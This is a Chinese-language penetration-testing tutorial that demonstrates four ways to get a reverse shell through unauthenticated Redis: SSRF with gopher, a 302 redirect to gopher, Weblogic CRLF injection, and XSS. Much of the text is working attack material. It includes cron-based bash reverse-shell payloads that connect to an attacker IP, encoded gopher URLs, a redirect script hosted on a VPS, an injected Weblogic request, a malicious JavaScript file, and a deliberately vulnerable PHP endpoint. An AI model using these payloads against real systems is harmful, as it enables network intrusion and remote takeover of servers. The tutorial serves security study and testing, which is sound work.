前言 :ssrf开始火起来以后,内网的redis默默成为了背锅侠。未授权访问的问题导致其很容易被作为跳板而成为网络内部沦陷的罪魁祸首,于是每当发现一处ssrf漏洞的时候,大家总是试图去寻找内网中即将躺枪的redis。redis被弹shell弹出伤了,那到底有几种姿势弹shell?这次就用实验来说话。
基础知识和准备
一些IP:
Redis: 10.1.2.23
WebServer: 10.1.2.22
Attacker: 172.168.1.106
gopher,曾经非常有名的一种信息查找协议,它能将Internet上的文件组织成某种索引,不过现在已经淡出了历史。gopher协议的使用方法为:
gopher://ip:port/_payload
使用gopher发出一次GET请求:
gopher://www.baidu.com:80/_GET%20/search/error.html%20HTTP/1.1%0d%0aHost:www.baidu.com
通常可以通过捕获其他协议数据流的方式将这些协议进行一定转换进而利用gopher协议通信。由于gopher协议具备这种跨协议通信的特点,也被赋予了万金油协议的别称。下面尝试将redis协议转换成为gopher协议,转换之前我们先来看看正常的redis反弹shell攻击载荷:
$ echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1\n\n"|redis-cli -h 10.1.2.23 -x set 1
$ redis-cli -h 10.1.2.23
$ 10.1.2.23:6379> config set dir /var/spool/cron/
$ 10.1.2.23:6379> config set dbfilename root
$ 10.1.2.23:6379> save
接下来使用socat监听本地的6379端口的数据流,再将数据流转发给redis服务器:
socat -v tcp-listen:6379,fork tcp-connect:10.1.2.23:6379
攻击本地的6379端口,得到这些数据流:
> 2017/06/08 14:37:05.164953 length=87 from=17 to=103
*3\r
$3\r
set\r
$1\r
1\r
$60\r
*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1
\r
< 2017/06/08 14:37:05.181301 length=5 from=9149 to=9153
+OK\r
> 2017/06/08 14:37:44.483567 length=57 from=17 to=73
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/06/08 14:37:44.501023 length=5 from=9149 to=9153
+OK\r
> 2017/06/08 14:37:49.822737 length=52 from=74 to=125
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/06/08 14:37:49.837134 length=5 from=9154 to=9158
+OK\r
> 2017/06/08 14:37:53.276943 length=14 from=126 to=139
*1\r
$4\r
save\r
< 2017/06/08 14:37:53.313423 length=5 from=9159 to=9163
+OK\r
可以看出,上面的数据流中">"表示进入redis服务器6379端口的数据,"<"表示redis服务器返回的消息。因此我们将">"内的数据流使用下面的转换规则进行转换:
* #代表有几个参数
$ #代表下面这个参数是几个字节
\r#用%0d%0a表示
#空白行用%0a表示
这样就得到了转换后的攻击载荷:
gopher://10.1.2.23:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$60%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
将载荷进行一次url全编码:
gopher://10.1.2.23:6379/_%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%36%30%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%36%38%2e%31%2e%31%30%36%2f%37%37%37%37%20%30%3e%26%31%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61
另外,如果向redis服务器发出一个http请求,会有这样的效果:
可以发现http请求头的每一行都被当做命令执行了,所以我们可以将攻击载荷放进一个http请求头部:
POST / HTTP/1.1
HOST:10.1.2.23:6379
set 1 "\n\n*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root save
发送这个请求,成功执行:
ssrf + gopher://
条件:
- 存在ssrf的PHP web、Java web
- PHP中curl支持gopher或者curl>7.35.0、Java支持gopher
实验环境:
- Redis2.8.24(centOS7) #10.1.2.23
- PHP7.1 + Apache2.4.10 #10.1.2.22:8081
首先在Apache服务器的8081端口上创建一个含有ssrf漏洞的PHP文件index.php:
<?php
function curl($ssrf){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ssrf);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$ssrf = $_GET['ssrf'];
curl($ssrf);
?>
先尝试访问http://10.1.2.22:8081/index.php?ssrf=file:///etc/passwd确认漏洞是否存在:
此时证明漏洞存在,再次确认是否支持gopher://协议:
于是直接通过此处的ssrf加载攻击载荷反弹得到shell:
ssrf + http:// -> 302 -> gopher://
条件:
- 存在ssrf的PHP web、Java web
- PHP中curl支持gopher或者curl>7.35.0、Java支持gopher
- ssrf只能使用http
实验环境:
- Redis2.8.24(centOS7) #10.1.2.23
- Discuz!3.1 #10.1.2.22:8080
- VPS #http://s4kur4.cc
此例中在Apache服务器的8080端口运行了一个存在ssrf漏洞的Discuz!论坛,其ssrf产生处将协议限制为http,无法使用其他更多协议:
http://10.1.2.22:8080/forum.php?mod=ajax&action=downremoteimg&message=[img]http://s4kur4.cc/index.php?hello.jpg[/img]
由于无法使用gopher协议,因此该ssrf漏洞并不能直接操纵内网的redis服务器。
为此,我们在自己的VPS上创建一个302.php对协议进行转换,通过302跳转的方式可以绕过Discuz!对协议的限制。首先在VPS根目录上创建302.php并使用header重定向转至带有攻击载荷的gopher://:
<?php
header("Location:<code class="bash">gopher://10.1.2.23:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$60%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.168.1.106/7777 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a</code>");
?>
这里要注意的是跳转指向的URL中,应该要包含攻击载荷转换后的原始字符串,不能做URL编码,否则会出现不成功的情况,因为PHP在重定向URL的过程中不会进行URL编码和解码,如果使用URL编码后的攻击载荷,会导致redis无法理解。
接下来先在攻击机上监听,然后使用浏览器或者curl访问以下URL(message参数要进行URL编码):
http://10.1.2.22:8080/forum.php?mod=ajax&action=downremoteimg&message=%5bimg%5dhttp%3a%2f%2fs4kur4.cc%2f302.php%3fhello.jpg%5b%2fimg%5d
过一会儿就收到了弹回的shell:
0x03. ssrf + crlf
条件:
- 存在ssrf的PHP web、Java Web
- Web Server存在crlf http头注入
实验环境:
- Redis2.8.24(centOS7) #10.1.2.23
- Weblogic #10.1.2.22:7001
在此例中将在10.1.2.22的7001端口开启一个存在ssrf的weblogic容器,weblogic在10.0.2-10.3.6版本的SearchPublicRegistries.jsp文件中产生了一处ssrf:
http://10.1.2.22:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://s4kur4.cc&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
这里首先利用回显对内网进行扫描探测,找到存在的redis服务器:
由于weblogic同时存在crlf注入漏洞,导致URL中可以注入回车和换行符%0d%0a,于是接下来可以将攻击载荷直接注入请求头中:
http://10.1.2.22:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.1.2.23:6379/%0d%0aset%201%20%22%5cn%5cn%2a%2f1%20%2a%20%2a%20%2a%20%2a%20%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f172%2e168%2e1%2e104%2f7777%200%3E%261%5cn%5cn%22%0d%0aconfig%20set%20dir%20%2fvar%2fspool%2fcron%2f%0d%0aconfig%20set%20dbfilename%20root%0d%0asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
这里要注意在save后应该再增加一段字符,否则save后面的%0d%0a会导致无法插入而执行失败。
在攻击机上设置监听,然后使用浏览器或者curl访问上面的URL即可弹回shell:
xss
条件:
- 存在xss的Web
- 已获知内网redis服务器ip地址或Web Server本身运行redis服务但外网无法访问
实验环境:
- Redis2.8.24(centOS7) #10.1.2.23
- DVWA #10.1.2.23:80
- VPS #http://s4kur4.cc
本例中将会在redis服务器的80端口运行一个存在xss漏洞的web程序,同时对外封闭6379端口,只允许内部访问:
然后在VPS上创建一个js文件rce.js,URI为http://s4kur4.cc/rce.js,内容如下:
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://10.1.2.23:6379");
cmd.send('eval \'' + 'redis.call(\"set\", \"1\",\"\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.168.1.106/7777 0>&1\\n\\n"); redis.call(\"config\", \"set\", \"dir\", \"/var/spool/cron/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"root\");' + '\' 0' + "\r\n");
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://10.1.2.23:6379");
cmd.send('save\r\n');
接下来在80端口dvwa中的存储型xss处进行测试,在留言板中插入这个外部js:
在攻击机上设置监听,随后去10.1.2.22上以内网用户的身份查看这个页面:
过一会儿shell就弹回来了:
事实上,在这个例子中除了可以利用存储型的xss,其他方式的xss均可以利用,甚至在VPS上构造一个恶意页面等待内网用户点击就能触发执行。
总结
通过前面的四个实验,目前利用redis未授权反弹shell的姿势基本都囊括在其中了,当然每一种类型又会牵出众多漏洞和案例,例如仅ssrf就包含有XXE、FFmpeg、Confluence等多个应用的漏洞。
ssrf这类漏洞还有待去更多的挖掘,针对未授权服务的利用方式也不仅仅只有反弹shell。希望本文能帮助大家举一反三,在真实场景中发散思维。
参考
- 《SSRF in PHP》@JoyChou:http://joychou.org/index.php/web/phpssrf.html
- 《SSRF in JAVA》@JoyChou:http://joychou.org/index.php/web/javassrf.html
- 《利用gopher协议拓展攻击面》@RicterZ:https://ricterz.me/posts/利用%20gopher%20协议拓展攻击面
- 《60字节-无文件渗透测试实验》@niexinming:https://www.n0tr00t.com/2017/03/09/penetration-test-without-file.html
- 《Build Your SSRF Exploit Framework——一个只影响有钱人的漏洞》@猪猪侠:http://www.docin.com/p-1750678156.html
*转载请注明作者及来源